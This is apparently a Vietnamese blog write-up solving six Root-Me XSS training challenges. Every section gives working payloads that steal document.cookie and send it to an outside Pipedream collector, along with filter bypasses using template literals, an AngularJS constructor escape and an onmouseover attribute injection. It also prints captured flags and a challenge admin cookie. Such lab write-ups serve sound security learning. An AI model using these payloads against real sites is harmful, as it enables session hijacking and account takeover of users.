Skip to main content

Command Palette

Search for a command to run...

Rootme - XSS

Updated
4 min read
Rootme - XSS

XSS - Stored 1

Thử đoạn script đơn giản <script>alert('XSS')</script> tại ô Message

Ta biết được trang web bị XSS tại ô Message. Tiếp theo, ta tạo Trigger trong Pipedream để thu thập HTTP Request

Sau đó, tiến hành viết script như sau:

<script>document.write("<img src='https://eoz49yzemsdlt2j.m.pipedream.net/"+document.cookie+"'></img>");</script>

Nhấn Send, đợi một lúc ta sẽ nhận được phản hồi bên Pipedream

🚩
NkI9qe4cdLIO2P7MIsWS8ofD6

XSS - Stored 2

Thử kiểm tra XSS bằng script <script>alert('XSS')</script> tại ô Message

Không có gì xảy ra, tuy nhiên sau nhiều lần thử thì ta đều nhận được thông báo (status : invite)

Tiến hành kiểm tra cookie

Thử thay đổi giá trị invite của status

Response trả về giá trị như ta vừa thay. Thử thay giá trị status thành

"><script>alert('XSS')</script>

Ta có thể thực hiện XSS tại cookie này. Tạo Pipedream để thu thập HTTP.

Chèn đoạn script sau vào cookie

"><script>document.write("<img src='https://eoe9ifcx1is3rs8.m.pipedream.net/"+document.cookie+"'></img>")</script>

hoặc script (script này mình tham khảo từ WU trên mạng)

"><script>document.write(%22<img src=https://eoe9ifcx1is3rs8.m.pipedream.net? %22.concat(document.cookie.replace(%22 %22,%22&%22)).concat(%22/>%22))</script>

Ta đợi phản hồi bên Pipedream thu được

ADMIN_COOKIE=SY2USDIH78TF3DFU78546TE7F

Có ADMIN_COOKIE, ta thay vào cookie

Ta thu được pass: E5HKEGyCXQVsYaehaqeJs0AfV

🚩
E5HKEGyCXQVsYaehaqeJs0AfV

XSS DOM Based - Introduction

Dùng script ';alert('XSS')// điền vào ô Number để kiểm tra XSS

URL: http://challenge01.root-me.org/web-client/ch32/?number=%27%3Balert%28%27XSS%27%29%2F%2F

Xem source code

Dùng document.location để redirect website đến HTTP Request để DOM based XSS.

Payload:

';document.location='https://eoe9ifcx1is3rs8.m.pipedream.net/?cookies='+document.cookie//

URL: http://challenge01.root-me.org/web-client/ch32/?number=%27%3Bdocument.location%3D%27https%3A%2F%2Feoe9ifcx1is3rs8.m.pipedream.net%2F%3Fcookies%3D%27%2Bdocument.cookie%2F%2F

Copy đoạn URL trên dán vào input của tab Contact

Đợi 1 lúc ta nhận được

🚩
rootme{XSS_D0M_BaSed_InTr0}

XSS DOM Based - AngularJS

Trước hết, ta thử nhập tên vào input

Vì tiêu đề challenge là AngularJS vì thế mình sẽ đi tìm payload XSS Angular

Mình tìm được payload: {{constructor.constructor('alert(1)')()}}

Thử đặt vào input

Có vẻ đã bị filter dấu ' nên ta thay bằng ": {{constructor.constructor("alert(1)")()}}

Tìm được payload thích hợp rồi, mình sẽ tiến hành rediect như challenge phía trên

{{constructor.constructor("document.location=\"https://eoe9ifcx1is3rs8.m.pipedream.net/?cookies=\"+document.cookie")()}}
💡
Lưu ý: mình sử dụng dấu backslash \ để escape ký tự "

Thành công rediect

URL: http://challenge01.root-me.org/web-client/ch35/?name=%7B%7Bconstructor.constructor%28%22document.location%3D%5C%22https%3A%2F%2Feoe9ifcx1is3rs8.m.pipedream.net%2F%3Fcookies%3D%5C%22%2Bdocument.cookie%22%29%28%29%7D%7D

Copy đoạn URL trên dán vào input của tab Contact

🚩
rootme{@NGu1@R_J$_1$_C001}

XSS DOM Based - Eval

Mình thử nhập vào số 1 và nhấn submit thì nhận được thông báo

Format của input này là /^\d+[\+|\-|\*|\/]\d+/ (1 số nguyên _ phép toán _ 1 số nguyên)

Input được đưa vào hàm eval() để thực thi. Thử bằng input khác 1+1abc thì trang không báo lỗi nên mình chèn thêm alert('XSS') để kiểm tra: 1+1alert('XSS')

Trang đã filter dấu (). Do đó, để bypass mình sẽ dùng Template literals với cú pháp `${expression}` . Template sẽ sử dụng dấu ngược (`` ) thay vì dấu ngoặc kép ("") để xác định chuỗi:

1+1`${alert``}`

Vậy là ta đã tìm thấy nơi để thực hiện XSS.

Payload:

1+1`${document.location=`https://eoe9ifcx1is3rs8.m.pipedream.net/?cookie=`+document.cookie}`

URL: http://challenge01.root-me.org/web-client/ch34/?calculation=1%2B1%60%24%7Bdocument.location%3D%60https%3A%2F%2Feoe9ifcx1is3rs8.m.pipedream.net%2F%3Fcookie%3D%60%2Bdocument.cookie%7D%60

Copy đoạn URL trên dán vào input bên tab Contact. Đợi Pipedream phản hồi và lụm flag thôi

🚩
rootme{Eval_Is_DangER0us}

XSS - Reflected

Xem source code thì phát hiện có ?p=security

Thử truy cập vào http://challenge01.root-me.org/web-client/ch26/?p=security

Không thu thập được gì ở đây, mình thử thay đổi giá trị bất kì

Có thể thấy giá trị mình nhập vào ?p= sẽ được đưa vào thẻ <a> . Do đó, mình thử chèn payload vào đây để kiểm tra XSS

?p=nbdthien'onmouseover='alert(1)
💡
onmouseover là 1 event xảy ra khi con trỏ chuột chạm vào một phần tử.

Xác định được nơi để thực hiện XSS, mình tiến hành khai thác như sau

Mình thử alert(document.cookie) nhưng không thành công

Nên mình sẽ dùng Pipedream để get request

Payload:

?p=nbdthien'onmouseover='document.location="https://eoe9ifcx1is3rs8.m.pipedream.net/?cookie=".concat(document.cookie)

Kiểm tra Pipedream ta thấy nhận được thông báo

Sau đó, ta thực hiện lại 1 lần nữa nhưng thêm bước REPORT TO THE ADMINISTRATOR

Quay trở lại Pipedream và nhận flag

🚩
r3fL3ct3D_XsS_fTw

More from this blog

nbdthien

16 posts

tại ô Message\n\n\nTa biết được trang web bị XSS tại ô Message. Tiếp theo, ta tạo Trigger trong Pipedream để thu thập HTTP Request\n\nSau đó, tiến hành viết script như sau:\n